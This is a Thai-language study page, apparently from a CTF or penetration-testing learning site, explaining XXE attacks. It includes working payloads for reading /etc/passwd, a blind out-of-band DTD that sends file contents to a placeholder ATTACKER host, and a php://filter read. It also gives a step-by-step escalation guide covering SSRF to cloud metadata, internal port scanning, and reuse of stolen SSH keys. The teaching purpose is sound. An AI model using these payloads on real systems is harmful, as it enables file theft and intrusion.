web
XML External Entity (XXE)
XXE เกิดเมื่อ XML parser ประมวลผล external entity ที่ผู้โจมตีควบคุม ทำให้อ่านไฟล์ในเซิร์ฟเวอร์ ทำ SSRF หรือบางครั้งถึง RCE บทนี้ครอบคลุม classic, blind (OOB) และเทคนิคดึงไฟล์
IntermediateAdvanced#xxe#xml#entity#file-read#ssrf#injection#web#ctf
1. หลักการ
XML รองรับ entity — ตัวแปรที่ขยายเป็นค่าอื่น และ external entity ที่ดึงเนื้อหาจาก URI ภายนอก (ไฟล์/เน็ตเวิร์ก) ถ้า parser ตั้งค่าให้ประมวลผล external entity และแอปรับ XML จากผู้ใช้ ผู้โจมตีนิยาม entity ที่ชี้ไปไฟล์ในเครื่อง เช่น /etc/passwd แล้วให้มันถูกขยายในผลลัพธ์
2. จุดที่มักพบ
- endpoint ที่รับ XML (Content-Type: application/xml, text/xml)
- ไฟล์รูปแบบที่มี XML ข้างใน: SVG, DOCX, XLSX, SOAP, RSS
- API เก่าที่ใช้ SOAP/XML-RPC
- ลองแก้ Content-Type ของ JSON endpoint เป็น XML ดูว่ารับไหม
3. Payload
Classic — อ่านไฟล์ (in-band)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>ใช้ได้เมื่อค่าของ entity ถูกสะท้อนกลับมาในผลลัพธ์
Blind / OOB — ส่งข้อมูลออกผ่าน external DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "http://ATTACKER/evil.dtd">
%ext;
]>
<root>x</root>
<!-- evil.dtd บนเซิร์ฟเวอร์ผู้โจมตี -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/?d=%file;'>">
%eval; %exfil;ใช้เมื่อ output ไม่สะท้อนกลับ — ดึงไฟล์ออกผ่าน HTTP request ไปเซิร์ฟเวอร์ผู้โจมตี (lab/CTF เท่านั้น)
อ่านไฟล์ที่มีอักขระพิเศษ (PHP filter)
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">base64-encode กันปัญหา XML ตีความอักขระพิเศษในไฟล์
4. ต่อยอด
- SSRF: ชี้ entity ไป internal URL (เช่น http://169.254.169.254 metadata) แทน file://
- Port scan: ดูพฤติกรรม/เวลา response เมื่อชี้ไป internal host:port
- SVG upload: ฝัง XXE ในไฟล์ SVG ที่อัปโหลดได้
- RCE (เงื่อนไขจำกัด): ถ้ามี PHP expect:// module → รันคำสั่งได้
5. Quick Reference
- หา endpoint/ไฟล์ที่ parse XML (รวม SVG/DOCX/SOAP)
- classic:
- blind: external DTD + OOB exfil ผ่าน HTTP
- php://filter base64 สำหรับไฟล์ที่มีอักขระพิเศษ
- ต่อยอด: SSRF (cloud metadata), SVG upload
- ป้องกัน: ปิด external entity / DOCTYPE ใน parser
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ endpoint ที่รับ XML (SOAP, ไฟล์ .xml/.docx, API ที่ Content-Type: application/xml) ทำตามนี้ทดสอบ XXE ทีละขั้น
- 1หา endpoint ที่ parse XML: ลองเปลี่ยน Content-Type เป็น application/xml แล้วส่ง body XML ธรรมดาดูว่า server ยอมรับไหม (ไม่ error 415)
- 2ทดสอบ classic XXE: ประกาศ DOCTYPE + ENTITY xxe SYSTEM 'file:///etc/passwd' แล้วอ้าง &xxe; ในค่าที่แสดงผล ดูว่า /etc/passwd โผล่ใน response ไหม
- 3ถ้า response ไม่แสดงตรงๆ (blind XXE) ลอง OOB ผ่าน external DTD ยิงมาหาเรา (ใช้ webhook.site/interactsh ยืนยันว่า parser เรียก entity ภายนอกได้จริง)
- 4ถ้ายืนยัน OOB ได้ ลองอ่านไฟล์แบบ blind ผ่าน parameter entity + malicious DTD (ทำให้เนื้อไฟล์หลุดออกมาทาง request ที่ target ยิงกลับมาหาเรา)
- 5ลอง XInclude แทน DOCTYPE ถ้า input ฝังอยู่กลาง XML document ที่เราคุม DOCTYPE เองไม่ได้
- 6ทดสอบ SSRF ผ่าน XXE: เปลี่ยน SYSTEM 'file://...' เป็น SYSTEM 'http://internal-ip:port/' เพื่อสแกน/เข้าถึง internal network
- 7ถ้าไฟล์อัปโหลดเป็น .docx/.xlsx (ใช้ XML ข้างในไฟล์) ให้แตก zip แก้ XML ข้างในแล้ว zip กลับ อัปโหลดใหม่
- 8ได้อ่านไฟล์สำคัญแล้ว (เช่น id_rsa, config) ลองใช้ต่อ (SSH ด้วย key ที่ได้ หรืออ่าน source code หา credential เพิ่ม)
Master flow — ยืนยันและใช้ XXE อ่านไฟล์/SSRF
ส่ง XML body ปกติ (เปลี่ยน Content-Type เป็น application/xml) เทียบดูว่า server parse XML จริงไหม
ยิง classic XXE: DOCTYPE + ENTITY SYSTEM file:///etc/passwd แล้วอ้าง &xxe; ตรงจุดที่แสดงผล
เนื้อ /etc/passwd โผล่ใน response ไหม?
✅ โผล่ตรงๆ (in-band)→→ อ่านไฟล์อื่นที่สำคัญกว่าต่อได้เลย
❌ ไม่โผล่เลย→→ ต้องลองแบบ OOB
อ่านไฟล์ผ่าน in-band ได้แล้ว → ลองอ่านไฟล์อื่นที่สำคัญกว่า (id_rsa, config, source code)
ลองยืนยันแบบ OOB: ตั้ง external DTD (ของเราเอง หรือใช้ interactsh/webhook.site) ให้ target เรียกกลับมาหาเรา
target ยิง callback กลับมาที่ webhook/interactsh จริงไหม?
✅ มี callback เข้ามา→→ ยืนยัน OOB ได้
❌ เงียบไม่มีอะไรเลย→→ parser อาจปิด external entity สนิท
ยืนยัน OOB ได้แล้ว → ใช้ parameter entity + malicious DTD อ่านไฟล์แบบ blind (ส่งเนื้อไฟล์ผ่าน request ที่ target ยิงมาหาเรา)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ/แก้ XML request | Burp Suite | already in Kali | - |
| ยืนยัน OOB callback | - | - | interactsh (interact.sh) / webhook.site |
| encode/decode payload | - | - | CyberChef |
| สร้าง/แก้ payload อัตโนมัติ | XXEinjector | git clone XXEinjector | - |
| แตก/แก้ .docx/.xlsx (zip ของ XML) | unzip / zip | already in Kali | - |
| เรียนรู้ XXE เพิ่ม | - | - | portswigger web security academy |
🚑 ถ้าตันสนิท ลองท่าถัดไป: ssrf ถ้า OOB ไม่มา แต่ parser เรียก URL ได้ (ใช้เป็น SSRF โดยตรง), file-upload ถ้า payload อยู่ใน .docx/.xlsx ต้องแก้ผ่านช่องอัปโหลดไฟล์, lfi ถ้าอยากอ่านไฟล์ใน target แบบไม่ผ่าน XML ลองทางอื่น, ssti ถ้า endpoint เดียวกันดันประมวลผล template ด้วย
หัวข้อที่เชื่อมโยง
Server-Side Request Forgery (SSRF)อยู่ใน workflowFile Upload Vulnerabilitiesเกี่ยวข้องโดยตรงBlind SQL Injectionเครื่องมือเดียวกันTime-based SQLiเครื่องมือเดียวกันNoSQL Injectionเครื่องมือเดียวกันServer-Side Template Injection (SSTI)เครื่องมือเดียวกันCommand Injectionเครื่องมือเดียวกันUNION-based SQLiเทคนิคเดียวกันError-based SQLiเทคนิคเดียวกันCross-Site Scripting (XSS)เทคนิคเดียวกันSession Testingเครื่องมือเดียวกันSQL Injectionเครื่องมือเดียวกัน
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้